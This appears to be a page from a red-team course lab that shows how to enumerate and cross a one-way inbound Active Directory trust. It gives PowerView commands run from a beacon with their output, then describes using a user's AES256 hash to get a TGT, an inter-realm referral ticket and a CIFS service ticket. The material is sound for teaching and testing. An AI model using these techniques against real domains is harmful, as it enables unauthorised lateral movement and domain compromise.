One-Way Inbound
dev.cyberbotic.io also has a one-way inbound trust with dev-studio.com.
beacon> powershell Get-DomainTrust
SourceName : dev.cyberbotic.io
TargetName : dev-studio.com
TrustType : WINDOWS_ACTIVE_DIRECTORY
TrustAttributes :
TrustDirection : Inbound
WhenCreated : 8/16/2022 9:52:37 AM
WhenChanged : 8/16/2022 9:52:37 AM\
Because the trust is inbound from our perspective, it means that principals in our domain can be granted access to resources in the foreign domain. We can enumerate the foreign domain across the trust.
beacon> powershell Get-DomainComputer -Domain dev-studio.com -Properties DnsHostName
dnshostname
-----------
dc.dev-studio.com\
Get-DomainForeignGroupMember will enumerate any groups that contain users outside of its domain and return its members.
beacon> powershell Get-DomainForeignGroupMember -Domain dev-studio.com
GroupDomain : dev-studio.com
GroupName : Administrators
GroupDistinguishedName : CN=Administrators,CN=Builtin,DC=dev-studio,DC=com
MemberDomain : dev-studio.com
MemberName : S-1-5-21-569305411-121244042-2357301523-1120
MemberDistinguishedName : CN=S-1-5-21-569305411-121244042-2357301523-1120,CN=ForeignSecurityPrincipals,DC=dev-studio,DC=com\
This output shows that there's a member of the domain's built-in Administrators group who is not part of dev-studio.com. The MemberName field contains a SID that can be resolved in our current domain.
\
This means that members of DEV\Studio Admins are also members of the built-in Administrators group of dev-studio.com and therefore inherit local admin access to dc.dev-studio.com. If this is confusing, this is how it looks from the perspective of the foreign domain controller.
\
\
To hop this trust, we only need to impersonate a member of this Studio Admins domain group.
\
To hop a domain trust using Kerberos, we first need an inter-realm key. Obtain a TGT for the target user (here I am using asktgt with their AES256 hash).
\
Next, use that TGT to request a referral ticket from the current domain to the target domain.
Notice how this inter-realm ticket is of type rc4_hmac even though our TGT was aes256_cts_hmac_sha1. This is the default configuration unless AES has been specifically configured on the trust, so this is not necessarily bad OPSEC.
Finally, use this inter-realm ticket to request TGS's in the target domain. Here, I'm requesting a ticket for CIFS.
\
Last updated